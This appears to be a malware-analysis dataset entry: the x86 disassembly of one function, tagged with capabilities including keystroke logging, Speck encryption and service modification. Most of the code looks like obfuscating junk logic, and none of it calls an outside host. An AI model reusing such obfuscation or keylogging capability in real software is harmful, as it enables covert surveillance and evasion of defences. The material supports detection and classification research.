Function at 0x1001203b
Capabilities:
Allocate thread local storage
Check os version
Create pipe
Encrypt data using speck
Get common file path
Get file size
Identify system language via api
Log keystrokes
Modify service
Query or enumerate registry value
Read .ini file
Start service

Disassembly:
mov eax, 0x100615f5
call fcn.10060ef0
sub esp, 0x81c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x60], ecx
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 0x44], 0x8748
mov dword [ebp - 0x48], 5
push 2
mov byte [ebp - 0x64], dl
call fcn.1000ff33
xor ebx, ebx
or esi, 0xffffffff
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x50], 0xb5e35254
mov dword [ebp - 0x2c], ebx
jmp 0x1001209c
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1a0]
mov dword [eax + ecx*4], 0xfd03b15a
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10012089
cmp dword [ebp - 0x44], ebx
je 0x100120e6
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1a0]
neg ecx
mov dword [ebp - 0x48], 0xc18ab9c2
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
add ecx, dword [ebp - 0x44]
je 0x100120dd
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x44], eax
jl 0x100120f7
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x18], 0x8ae0512e
mov dword [ebp - 0x34], 0x138f
cmp dword [ebp - 0x34], 0x148d
jle 0x10012168
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
lea ecx, [ebp - 0x7ec]
cdq
push edx
push eax
call fcn.1000d1e0
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10012139
mov eax, dword [eax]
push eax
call fcn.1004bc16
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x7ec]
call fcn.100102bf
inc edi
cmp edi, 0x6a24
jl 0x1001211b
inc esi
cmp esi, 0x7fe6
jl 0x10012119
xor edi, edi
inc edi
or esi, 0xffffffff
jmp 0x1001216b
xor edi, edi
inc edi
mov dword [ebp - 0x40], 5
cmp dword [ebp - 0x34], 0x128c
jge 0x10012186
push 0x10007af0
call fcn.1004bc16
pop ecx
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x4c], 4
mov dword [ebp - 0x30], 0xdc67586e
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x24], 0x8d320cd5
mov dword [ebp - 0x14], ebx
jmp 0x100121b3
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x40c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100121a6
mov dword [ebp - 0x14], ebx
jmp 0x100121cf
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5dc], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100121be
mov dword [ebp - 0x14], 5
cmp dword [ebp - 0x14], 0xffffffe3
jge 0x10012285
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], ebx
jmp 0x100121ff
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x648], 0xfffffffa
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x100121ee
mov edx, dword [ebp - 0x18]
neg edx
mov dword [ebp - 0x34], esi
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1a0]
sbb edx, edx
neg ecx
xor ebx, ebx
neg edx
push 0
cmp ecx, dword [eax]
setle bl
lea eax, [edx - 0xcede]
xor ecx, ecx
mov dword [ebp - 0x28], ebx
cmp eax, 0x6b93dced
setl cl
xor ebx, ebx
imul eax, ecx, 0x2de4
cmp eax, 0xf8f0b53c
mov eax, dword [ebp - 0x14]
setne bl
xor ecx, ecx
cmp eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1a0]
setg cl
xor edx, edx
cmp ecx, ebx
setge dl
xor ebx, ebx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x648]
setle bl
xor ecx, ecx
cmp ebx, eax
pop ebx
setg cl
mov dword [ebp - 0x40], ecx
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe3
jl 0x100121e6
mov eax, dword [ebp - 0x40]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
sub eax, 0x38e4a6a7
imul eax, dword [ebp - 0x5c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5d8]
mov eax, dword [ebp - 0x18]
test eax, eax
setle cl
cmp dword [ebp - 0x408], ecx
je 0x100122d3
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x48], edi
cmp dword [ebp - 0x48], ebx
jl 0x10012301
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x100122fc
push ebx
push 0xcd2
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
dec dword [ebp - 0x48]
jns 0x100122e7
lea ecx, [ebp - 0x1a0]
mov dword [ebp - 4], esi
call fcn.1000ffb5
mov dword [ebp - 0x44], 0x8748
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x48], 5
push 2
call fcn.1000ff33
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x50], 0xb5e35254
mov dword [ebp - 0x2c], ebx
jmp 0x1001234c
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x144]
mov dword [eax + ecx*4], 0xfd03b15a
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10012339
cmp dword [ebp - 0x44], ebx
je 0x10012396
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x144]
neg ecx
mov dword [ebp - 0x48], 0xc18ab9c2
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
add ecx, dword [ebp - 0x44]
je 0x1001238d
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x44], eax
jl 0x100123a7
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x18], 0x8ae0512e
push 5
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x4c], 4
mov dword [ebp - 0x30], 0xdc67586e
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x24], 0x8d320cd5
mov dword [ebp - 0x14], ebx
jmp 0x100123ea
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x414], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100123dd
mov dword [ebp - 0x14], ebx
jmp 0x10012406
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x600], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100123f5
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 0xffffffe3
jge 0x100124b8
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], ebx
jmp 0x10012432
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x654], 0xfffffffa
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10012421
mov edx, dword [ebp - 0x18]
neg edx
mov dword [ebp - 0x34], esi
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x144]
sbb edx, edx
neg ecx
xor ebx, ebx
neg edx
push 0
cmp ecx, dword [eax]
setle bl
lea eax, [edx - 0xcede]
xor ecx, ecx
mov dword [ebp - 0x28], ebx
cmp eax, 0x6b93dced
setl cl
xor ebx, ebx
imul eax, ecx, 0x2de4
cmp eax, 0xf8f0b53c
mov eax, dword [ebp - 0x14]
setne bl
xor ecx, ecx
cmp eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x144]
setg cl
xor edx, edx
cmp ecx, ebx
setge dl
xor ebx, ebx
cmp edx, dword [eax]
mov eax, dword [ebp - 0x654]
setle bl
xor ecx, ecx
cmp ebx, eax
pop ebx
setg cl
mov dword [ebp - 0x40], ecx
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xffffffe3
jl 0x10012419
mov eax, dword [ebp - 0x40]
xor ecx, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x44]
inc dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
sub eax, 0x38e4a6a7
imul eax, dword [ebp - 0x5c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5fc]
mov eax, dword [ebp - 0x18]
test eax, eax
setle cl
cmp dword [ebp - 0x410], ecx
je 0x10012506
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x48], edi
cmp dword [ebp - 0x48], ebx
jl 0x10012534
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x1001252f
push ebx
push 0xcd2
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
dec dword [ebp - 0x48]
jns 0x1001251a
lea ecx, [ebp - 0x144]
call fcn.1000ffb5
mov dword [ebp - 0x14], 9
mov dword [ebp - 0x28], 0x60edac7a
mov dword [ebp - 0x2c], ebx
jmp 0x10012563
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x170], 0x11c15747
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10012552
mov dword [ebp - 0x14], 0xffffffe7
jmp 0x10012684
mov dword [ebp - 0x48], ebx
lea ecx, [ebp - 0x280]
call fcn.1000ff33
mov dword [ebp - 0x2c], ebx
jmp 0x1001259b
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x280]
mov dword [eax + ecx*4], 0xc1543f36
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x10012588
mov dword [ebp - 0x48], 0x17
jmp 0x1001266c
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x24], 0xc3cbaa6f
mov dword [ebp - 0x3c], ebx
jmp 0x1001264a
mov dword [ebp - 0x18], 0xfffffffd
xor ecx, ecx
mov dword [ebp - 0x34], 0xd1532d49
mov dword [ebp - 0x4c], 9
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 4
setl cl
add ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x48]
jne 0x100125ef
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x170], ebx
je 0x10012604
mov ecx, edi
cmp dword [ebp - 0x14], ebx
jne 0x10012606
mov ecx, ebx
mov eax, dword [ebp - 0x280]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x170]
add eax, ecx
mov ecx, dword [ebp - 0x34]
imul ecx, eax
add ecx, 0x4ce3095f
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x24], ebx
jmp 0x10012642
mov dword [ebp - 0x34], 0xa6df
cmp dword [ebp - 0x4c], ebx
jne 0x10012647
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x1001262d
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], edi
jle 0x100125be
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10012669
push 0x140e
push 0x1d
call dword [sym.imp.USER32.dll_SetCaretPos]
dec dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0xfffffff5
jge 0x100125ac
lea ecx, [ebp - 0x280]
call fcn.1000ffb5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff7
push edi
jl 0x10012575
mov dword [ebp - 0x44], 0x8748
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x18], 0x9ea7
call fcn.1000ff33
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x34], esi
push edi
call fcn.1000ff33
mov dword [ebp - 0x38], 0x85b3d925
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x4c], 0x4a788afb
mov dword [ebp - 0x14], ebx
jmp 0x100126ee
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1b4]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100126df
mov dword [ebp - 0x14], ebx
jmp 0x1001270b
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x304]
mov dword [eax + ecx*4], 0xa0cec519
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100126f8
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x3c]
jne 0x1001271f
mov ecx, ebx
cmp dword [ebp - 0x3c], ebx
je 0x10012721
mov ecx, edi
mov eax, dword [ebp - 0x1b4]
xor edx, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1b4]
cmp dword [eax], ecx
setg dl
mov dword [ebp - 0x34], edx
xor edx, edx
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1b4]
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x304]
setle cl
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x38]
setne dl
xor ecx, ecx
sub edx, 0x7ea34311
cmp edx, eax
mov eax, dword [ebp - 0x18]
sete cl
xor edx, edx
test ecx, ecx
sets dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffff
setne cl
imul ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x28]
cmp eax, ecx
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 9
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x304]
call fcn.1000ffb5
lea ecx, [ebp - 0x1b4]
mov dword [ebp - 4], esi
call fcn.1000ffb5
push 5
pop eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x14], 0x9f9b3198
mov dword [ebp - 0x34], 0x5cbcef05
mov dword [ebp - 0x28], 0x3e38693
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x24], 0x5b0e82ca
mov dword [ebp - 0x30], 0x48bd921b
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x38], ebx
push 4
call fcn.1000ff33
mov dword [ebp - 0x1c], 0x953c
mov dword [ebp - 0x2c], ebx
jmp 0x10012834
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x274]
mov dword [eax + ecx*4], 0x8afb1cad
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x10012821
mov dword [ebp - 0x14], 0x1a
cmp dword [ebp - 0x14], 0x19
jl 0x1001295a
mov dword [ebp - 0x40], 0xfffffff8
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x30], 0xdcef989b
mov dword [ebp - 0x50], 0xfffffffc
mov dword [ebp - 0x4c], 8
mov dword [ebp - 0x30], 0xd8c53784
mov dword [ebp - 0x34], 0xea7eb8e1
mov dword [ebp - 0x5c], 0x20c4365d
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x18], 0x6de0d615
cmp dword [ebp - 0x40], ebx
je 0x1001289f
mov eax, dword [ebp - 0x40]
mov esi, edi
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jne 0x100128a1
mov esi, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x18]
test eax, eax
sets cl
cmp ecx, dword [ebp - 0x38]
jge 0x100128c9
mov eax, dword [ebp - 0x274]
mov edx, edi
cmp dword [eax + 4], ebx
jne 0x100128cb
mov edx, ebx
dec dword [ebp - 0x48]
xor ebx, ebx
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x14]
cmp esi, eax
mov eax, dword [ebp - 0x5c]
setg bl
xor ecx, ecx
neg ebx
cmp edx, eax
mov eax, 0xf323e629
setl cl
cmp eax, ecx
sbb eax, eax
xor edx, edx
neg eax
cmp ebx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
xor ebx, ebx
mov dword [ebp - 0x5c], ecx
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x48], ebx
jmp 0x10012944
mov dword [ebp - 0x34], 0x389e
mov dword [ebp - 0x4c], 2
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setg cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x25
jl 0x10012913
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x19
jge 0x1001284b
or esi, 0xffffffff
lea ecx, [ebp - 0x274]
call fcn.1000ffb5
push 2
lea ecx, [ebp - 0x100]
call fcn.1000ff33
mov dword [ebp - 4], 4
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x2c], 0x7e2799ac
mov dword [ebp - 0x2c], 0x1a
cmp dword [ebp - 0x2c], 0xfffffff3
jne 0x10012a4f
mov byte [ebp - 0x1d], bl
mov dword [ebp - 0x34], 0x3ce6
cmp dword [ebp - 0x34], 0x406e
jle 0x100129ee
mov eax, ebx
mov dword [ebp - 0x40], ebx
mov esi, ebx
mov edi, ebx
mov ebx, esi
and ebx, eax
mov eax, edi
mov ecx, 0x10609cb8
or eax, ebx
cdq
push edx
push eax
call fcn.1000fe1e
inc edi
cmp edi, 0x13b4
jl 0x100129b4
mov eax, dword [ebp - 0x40]
inc esi
push 0
pop ebx
cmp esi, 0x4277
jl 0x100129ae
inc eax
mov dword [ebp - 0x40], eax
cmp eax, 0x269f
jl 0x100129ac
xor edi, edi
inc edi
or esi, 0xffffffff
cmp byte [ebp - 0x1d], 0
je 0x100129fb
push ebx
call dword [sym.imp.USER32.dll_CharUpperW]
mov byte [ebp - 4], 5
cmp dword [ebp - 0x34], 0x39d5
jge 0x10012a3b
mov edx, 0x10007b40
mov ecx, 0x10609cb8
call fcn.100118c8
jmp 0x10012a3b
mov dword [ebp - 4], 4
cmp dword [ebp - 0x2c], ebx
jne 0x10012a4f
dec dword [ebp - 0x2c]
jmp 0x1001298a
mov dword [ebp - 0x28], 0xb5e35254
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x2c], ebx
jmp 0x10012a6b
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x15c], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10012a5e
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x10012ac3
mov dword [ebp - 0x4c], 9
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x15c], ebx
je 0x10012abb
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x15c]
mov dword [ebp - 0x4c], ebx
dec dword [ebp - 0x14]
jns 0x10012a7d
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10012ad8
push ebx
push 0x174f
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
push edi
lea ecx, [ebp - 0x1d4]
call fcn.1000ff33
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x34], 0xfffffffd
mov dword [ebp - 0x2c], ebx
jmp 0x10012b06
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1d4]
mov dword [eax + ecx*4], 0x473eb905
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x10012af3
mov esi, dword [ebp - 0x1d4]
mov edx, dword [esi]
test edx, edx
je 0x10012b29
xor ecx, ecx
lea eax, [edx + edx]
cmp edx, eax
mov eax, dword [ebp - 0x14]
setge cl
mov dword [esi], ecx
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
test eax, eax
setle cl
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10012b74
mov dword [ebp - 0x34], 0xc234
mov dword [ebp - 0x40], 0x63d62a04
cmp dword [ebp - 0x40], ebx
je 0x10012b55
mov eax, edi
cmp dword [ebp - 0x14], ebx
jne 0x10012b57
mov eax, ebx
push 0xfffffffffffffff8
pop ecx
sub ecx, eax
mov dword [ebp - 0x34], 0xd7006986
add ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1d4]
mov dword [eax], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10012b3b
lea ecx, [ebp - 0x1d4]
call fcn.1000ffb5
mov dword [ebp - 0x2c], ebx
jmp 0x10012b9c
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x100]
mov dword [eax + ecx*4], 0xfd03b15a
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10012b89
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x2c], ebx
jmp 0x10012bbf
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x63c], 0xa8c6a53d
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10012bae
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10012be0
push ebx
push 0x1233
push ebx
push 0x16fe
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov dword [ebp - 0x24], ebx
jmp 0x10012bf2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x63c], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10012be5
cmp dword [ebp - 0x44], ebx
je 0x10012c3c
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x100]
neg ecx
mov dword [ebp - 0x3c], 0xc18ab9c2
sbb ecx, ecx
neg ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
add ecx, dword [ebp - 0x44]
je 0x10012c33
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x44], eax
jl 0x10012c4d
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x44]
lea ecx, [ebp - 0x28c]
mov eax, dword [ebp - 0x58]
or esi, 0xffffffff
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x58], 0xfffc
mov dword [ebp - 0x18], 0x758e92ed
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x34], 0x128b
mov dword [ebp - 0x4c], 0x57af
push 3
call fcn.1000ff33
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x3fc]
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 0x86010944
push 2
call fcn.1000ff33
mov byte [ebp - 4], 8
mov dword [ebp - 0x1c], ebx
jmp 0x10012cbe
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5c0], 0x996e1580
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10012cad
mov dword [ebp - 0x1c], ebx
jmp 0x10012cdc
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28c]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10012cc9
mov dword [ebp - 0x1c], ebx
jmp 0x10012cfa
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3fc]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10012ce7
mov byte [ebp - 0x1d], bl
cmp byte [ebp - 0x1d], 0
je 0x10012d11
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov eax, dword [ebp - 0x58]
mov ecx, 0x7adf
mov eax, dword [ebp - 0x58]
xor edx, edx
imul eax, dword [ebp - 0x58]
push 2
sub ecx, eax
add ecx, dword [ebp - 0x58]
imul ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
cmp eax, ecx
lea ecx, [ebp - 0x37c]
setle dl
neg edx
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x50], 0x4a603d2c
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x5c], 0xfffffffb
call fcn.1000ff33
mov dword [ebp - 0x18], 0xfffffffc
mov dword [ebp - 0x2c], ebx
jmp 0x10012d8b
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x37c]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10012d7c
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x18]
sub eax, 0x9842
jne 0x10012e4f
inc dword [ebp - 0x34]
cmp dword [ebp - 0x58], ebx
jne 0x10012db4
mov edx, ebx
cmp dword [ebp - 0x5b4], ebx
je 0x10012db6
mov edx, edi
mov eax, dword [ebp - 0x58]
xor ecx, ecx
cmp edx, eax
sete cl
cmp ecx, 0xfffffff6
ja 0x10012dca
cmp dword [ebp - 0x40], ebx
je 0x10012dd1
mov eax, edi
cmp dword [ebp - 0x5c], ebx
jne 0x10012dd3
mov eax, ebx
mov ecx, dword [ebp - 0x48]
xor edx, edx
imul ecx, eax
mov eax, dword [ebp - 0x50]
push 9
cmp ecx, eax
pop ecx
setl dl
xor eax, eax
cmp edx, 0x23ee1e16
setle al
cmp ecx, eax
sbb eax, eax
neg eax
sub eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x24]
jle 0x10012e09
mov eax, edi
cmp dword [ebp - 0x5b4], ebx
jne 0x10012e0b
mov eax, ebx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], ebx
je 0x10012e20
mov eax, edi
cmp dword [ebp - 0x24], ebx
jne 0x10012e22
mov eax, ebx
cmp eax, dword [ebp - 0x4c]
jg 0x10012e2e
mov ecx, ebx
cmp dword [ebp - 0x38], ebx
je 0x10012e30
mov ecx, edi
mov eax, dword [ebp - 0x37c]
xor edx, edx
cmp ecx, dword [eax + 4]
mov eax, dword [ebp - 0x58]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x50]
mov ecx, ebx
jge 0x10012e51
mov ecx, edi
